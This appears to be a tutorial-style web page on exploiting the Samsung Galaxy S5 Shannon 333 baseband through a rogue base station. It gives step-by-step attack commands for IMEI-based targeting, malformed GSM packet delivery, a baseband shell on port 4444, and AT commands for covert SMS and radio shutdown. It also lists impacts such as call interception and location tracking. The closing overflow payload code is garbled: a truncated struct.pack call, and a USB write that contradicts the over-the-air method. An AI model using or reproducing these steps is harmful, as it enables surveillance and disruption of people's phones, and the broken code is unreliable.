Baseband Exploitation Techniques

Critical Vulnerability Warning

The Samsung Galaxy S5 Shannon 333 baseband contains multiple critical vulnerabilities allowing remote code execution through malformed GSM/LTE packets. These exploits can be triggered by RFS-Portable-BTS without any user interaction.

Shannon 333 Baseband Vulnerabilities

CVE-2020-25279: RIL Buffer Overflow

Exploitation Framework

Reconnaissance & Target Identification

Use RFS-Portable-BTS to identify Samsung S5 devices through IMEI analysis and baseband fingerprinting.

                                # Identify Samsung S5 devices
./tools/device_scanner.py --target-baseband shannon333
./tools/imei_analyzer.py --filter samsung-s5

# Monitor for vulnerable devices
./monitor/baseband_scanner.py --vulnerability CVE-2020-25279
                            

Malformed Packet Crafting

Generate malformed GSM Location Area Update (LAU) packets targeting the Shannon 333 RIL buffer overflow.

                                # Generate malformed LAU packet
./exploits/shannon333_ril_overflow.py --target-imei 123456789012345 \
    --payload-size 2048 --overflow-offset 512

# Custom packet injection
./tools/packet_injector.py --protocol gsm --packet-type lau \
    --malformed --target-cell-id 12345
                            

Payload Delivery via RFS-BTS

Deploy the malformed packets through RFS-Portable-BTS to trigger the baseband vulnerability.

                                # Deploy via RFS-Portable-BTS
yatebts_exploit --exploit shannon333_ril --target-device SM-G900F \
    --payload ./payloads/baseband_shell.bin --trigger-on-connect

# Monitor exploitation status
tail -f /var/log/yatebts/exploitation.log
                            

Baseband Shell Access

Establish shell access on the baseband processor for further exploitation and device control.

                                # Connect to compromised baseband
./tools/baseband_shell.py --connect 192.168.1.100:4444

# Execute baseband commands
bb> at+cfun=0  # Disable radio functions
bb> at+cmgs   # Send SMS without user knowledge
bb> at+creg   # Network registration manipulation
                            

AT Command Injection

The Samsung S5 baseband accepts AT commands through multiple vectors, enabling unauthorized device control.

                    # Common AT command injection vectors
AT+CFUN=0        # Disable all radio functions
AT+COPS=0        # Automatic network selection bypass
AT+CREG=0        # Network registration manipulation
AT+CGDCONT       # PDP context manipulation
AT+CUSD          # USSD command execution

# Samsung-specific AT commands
AT%BAND          # Band configuration access
AT%SVCMODE       # Service mode activation
AT%DEBUGLEVEL    # Debug level modification
AT%FACTORST      # Factory reset trigger
                

Exploitation Impact

Successful baseband exploitation provides:

Remote Code Execution: Execute arbitrary code on the baseband processor
SMS/Call Interception: Monitor and manipulate all communications
Location Tracking: Continuous location monitoring without user knowledge
Network Manipulation: Force device to connect to attacker-controlled networks
DoS Attacks: Disable radio functions and render device unusable

# Exploit payload
payload = b"A" * 512 + struct.pack("# Buffer overflow + RIP control
payload += b"\x90" * 100  # NOP sled
payload += shellcode      # Custom shellcode for privilege escalation

# Find and exploit device
dev = usb.core.find(idVendor=VENDOR_ID, idProduct=PRODUCT_ID)
if dev:
    dev.write(0x02, payload)  # Trigger overflow in USB endpoint
